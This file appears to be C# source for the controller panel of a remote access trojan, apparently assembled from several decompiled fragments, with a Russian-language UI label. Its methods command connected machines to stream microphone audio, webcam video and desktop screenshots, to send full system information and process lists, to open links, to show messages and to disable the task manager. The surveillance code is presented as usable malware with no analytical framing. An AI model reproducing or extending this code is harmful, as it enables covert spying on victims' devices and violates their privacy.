private void Listener_Capture_Volume() { tsock.sendCommand(sock, "audio.start", "1"); output = new WaveOut(); bufferStream = new BufferedWaveProvider(new WaveFormat(8000, 16, 1)); output.Init(bufferStream); output.Play(); tsock.sendCommand(sock, "audio.record", "1"); int received; while (ListenCapturePackages) { try { byte[] buffer = new byte[65535]; received = sock.Receive(buffer); Action action = delegate { label1.Text = "Принято пакетов: " + received + " bytes"; }; if (base.InvokeRequired) { Invoke(action); } else { action(); } bufferStream.AddSamples(buffer, 0, received); } catch (SocketException) { } } }
public void LoadInformation() { string contents; if (!Directory.Exists("cache/userinfo/" + ip) && !File.Exists("cache/userinfo/" + ip + "/allinfo.bin")) { tsock.sendCommand(sock, "fullinfo", "1"); contents = tsock.Read(10240, sock); Directory.CreateDirectory("cache/userinfo/" + ip); File.WriteAllText("cache/userinfo/" + ip + "/allinfo.bin", contents); } if (File.Exists("cache/userinfo/" + ip + "/allinfo.bin")) { contents = File.ReadAllText("cache/userinfo/" + ip + "/allinfo.bin"); } else { tsock.sendCommand(sock, "fullinfo", "1"); contents = tsock.Read(10240, sock); Directory.CreateDirectory("cache/userinfo/" + ip); File.WriteAllText("cache/userinfo/" + ip + "/allinfo.bin", contents); } string[] array = contents.Split('|'); string[] array2 = array; foreach (string text in array2) { string[] info = text.Split('/'); Invoke((Action) delegate { listView1.Items.Add(info[0]).SubItems.Add(info[1]); }); } }
private void ProccessListLoad(object sender, EventArgs e) { tsock.sendCommand(selected, "proccess.getList", "1"); string[] array = tsock.Read(10240, selected).Split('|'); string[] array2 = array; foreach (string text in array2) { string[] inf = text.Split('/'); if (inf.Length > 2) { ListViewItem item = null; Action action = delegate { item = listView1.Items.Add(inf[0]); }; if (base.InvokeRequired) { Invoke(action); } else { action(); } if (proccessname == inf[0]) { Invoke((Action) delegate { item.ForeColor = Color.Red; }); Invoke((Action) delegate { item.Font = new Font(listView1.Font, FontStyle.Bold); }); Invoke((Action) delegate { item.SubItems.AddRange(new string[2] { inf[1], inf[2] }); }); } else { Invoke((Action) delegate { item.SubItems.AddRange(new string[2] { inf[1], inf[2] }); }); } } } }
public void UpdateRemoteDesktop() { byte[] array = new byte[2073600]; try { while (View) { Thread.Sleep(500); tsock.sendCommand(selected, "desktop.getView", "1"); int bytes = selected.Receive(array); tsock.UpdateTraffic(selected, bytes, "read"); Bitmap bitmap = ByteToImage(array); if (bitmap != null) { Action action = delegate { pictureBox1.Image = bitmap; }; if (base.InvokeRequired) { Invoke(action); } else { action(); } action = delegate { MaximumSize = pictureBox1.Size; }; if (base.InvokeRequired) { Invoke(action); } else { action(); } } } } catch (Exception) { StartRemoteView(); } }
private void toolStripMenuItem_13_Click(object sender, EventArgs e) { if (Selected != null && ToolSocket.SocketConnected(Selected)) { TSocket.sendCommand(Selected, "taskmng", "false"); } }
private void Button1Click(object sender, EventArgs e) { tsock.sendCommand(sock, "link.open", textBox1.Text); }
private void Button1Click(object sender, EventArgs e) { s1.sendCommand(s, "link.open", textBox1.Text); Close(); }
private void Button1Click(object sender, EventArgs e) { tsock.sendCommand(selected, "message", textBox2.Text, textBox1.Text); }
private void WebCam_View() { int _sel = 0; Action action = delegate { _sel = comboBox1.SelectedIndex; }; if (base.InvokeRequired) { Invoke(action); } else { action(); } tsock.sendCommand(sock, "webcam.start", Convert.ToString(_sel)); while (View) { byte[] array = new byte[1048576]; try { int bytes = sock.Receive(array); tsock.UpdateTraffic(sock, bytes, "read"); } catch (SocketException) { action = delegate { Close(); }; if (base.InvokeRequired) { Invoke(action); } else { action(); } } Bitmap bitmap = ByteToImage(array); try { if (bitmap != null) { action = delegate { pictureBox1.Image = bitmap; }; if (base.InvokeRequired) { Invoke(action); } else { action(); } } } catch (Exception) { } } }